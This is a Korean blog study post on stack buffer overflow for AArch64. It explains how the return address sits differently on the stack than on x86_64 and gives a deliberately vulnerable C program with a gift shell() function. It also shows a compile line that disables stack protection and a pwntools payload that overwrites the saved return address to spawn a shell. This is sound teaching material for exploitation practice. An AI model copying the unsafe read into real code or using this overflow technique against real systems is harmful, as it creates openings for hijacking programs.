반응형
Recent Posts
Recent Comments
Link
«   2024/06   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30
Tags
more
Archives
Today
Total
관리 메뉴

ZZoMb1E_PWN

[AArch64] Buffer OverFlow 본문

STUDY/PWNABLE_AArch64

[AArch64] Buffer OverFlow

ZZoMb1E 2024. 3. 20. 15:22
728x90
반응형

 잘못된 부분이 있으면 알려주세요. 확인 후 수정하도록 하겠습니다.  

 

Buffer OverFlow에 대한 개념은 아래 링크에서 확인할 수 있다.

https://whrdud727.tistory.com/5

 

[PWNABLE]Stack Buffer OverFlow

※ 잘못된 부분이 있으면 알려주세요. 확인 후 수정하도록 하겠습니다. ※ Buffer OverFlow는 발생하는 영역에 따라서 Stack Buffer OverFlow와 Heap Buffer OverFlow로 나뉜다. Heap에 대해서는 다음에 다룰 예정

whrdud727.tistory.com

https://whrdud727.tistory.com/6

 

[PWNABLE]Return Address Overwrite

※ 잘못된 부분이 있으면 알려주세요. 확인 후 수정하도록 하겠습니다. ※ 저번 게시글에서 Buffer OverFlow에 대해 간략하게 다뤘다. 이번에는 Stack을 변조하는 것인 Stack Frame에 위치하는 ret 부분을

whrdud727.tistory.com

 

 

 

 

공격 원리는 동일하지만 기존 x86_64와는 stack 구조에 있어서 차이가 있기 때문에 주의해야 한다.

왼쪽이 x86_64, 오른쪽이 AArch64이다. ret의 주소가 stack의 마지막이 아니라 최상단에 존재한다.

이를 다시 해석하면 main()만 존재하며 그 안에 BOF 취약점이 발생하는 경우 공격할 수가 없다는 뜻이 된다.

 


 

 

#include <stdio.h>
#include <unistd.h>

void initial(){
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
}

void shell(){
	system("/bin/sh");
}

void vuln(){
	char buf[32];
	printf("Exploit\n");
	read(0, buf, 0x100);
	printf("%s\n", buf);
}

int main(){
	char test[0x20];
	initial();
	vuln();;

	return 0;
}

system('/bin/sh');를 gift로 제공해주는 c언어 코드이다.

vuln()을 살펴보면 buf변수에 입력할 때 BOF 취약점이 발생하는 것을 볼 수 있다.

 

aarch64-linux-gnu-gcc -no-pie -fno-stack-protector bof.c

위와 같은 방법으로 컴파일을 해준다.

 

아래 링크에서 사용했던 방식으로 디버깅을 수행한다.

https://whrdud727.tistory.com/34

 

[AArch64] x86_64 간단 비교

※ 잘못된 부분이 있으면 알려주세요. 확인 후 수정하도록 하겠습니다. ※ 효율적인 전력 사용과 높은 성능의 위해서 설계된 architecture이다. 주로 스마트폰, 임베디드 시스템 등의 환경에서 사용

whrdud727.tistory.com

'

vuln()을 살펴보면 sp에 -32를 연산하고, read()에서 변수에 sp로부터 24만큼 떨어진 위치에 값을 입력한다.

다시 말해서 stack 크기 32 중에 24만을 이용하고 있다.

나머지 8은 sfp에 해당한다.

 

이를 간단하게 표현하면 아래와 같다.

vuln()
[ret_sp-32] - [stack_sp-24] - [bp]
main()
[ret] - [stack_sp] - [bp]

 

buf의 크기를 확인했으니 이제 값을 입력해보겠다.

vuln()의 공간을 시작으로 main()의 ret까지 덮어씌어졌다.

x30이 ret 주소가 들어있는 부분이다.

 

바로 페이로드를 작성해주겠다.

from pwn import *

context.log_level = 'debug'
p = process(['qemu-aarch64-static','a.out'])
e = ELF('a.out')
shell = e.sym['shell']#0x00000000004007ac

payload = b'A'*0x28
payload += p64(shell)
p.send(payload)

p.interactive()

728x90
반응형

'STUDY > PWNABLE_AArch64' 카테고리의 다른 글

[AArch64] Buffer OverFlow (실습)  (1) 2024.05.01
[AArch64] PAC  (0) 2024.04.08
[AArch64] Debugging  (1) 2024.03.23
[AArch64] Buffer OverFlow (with chaining)  (0) 2024.03.20
[AArch64] x86_64 간단 비교  (0) 2024.03.20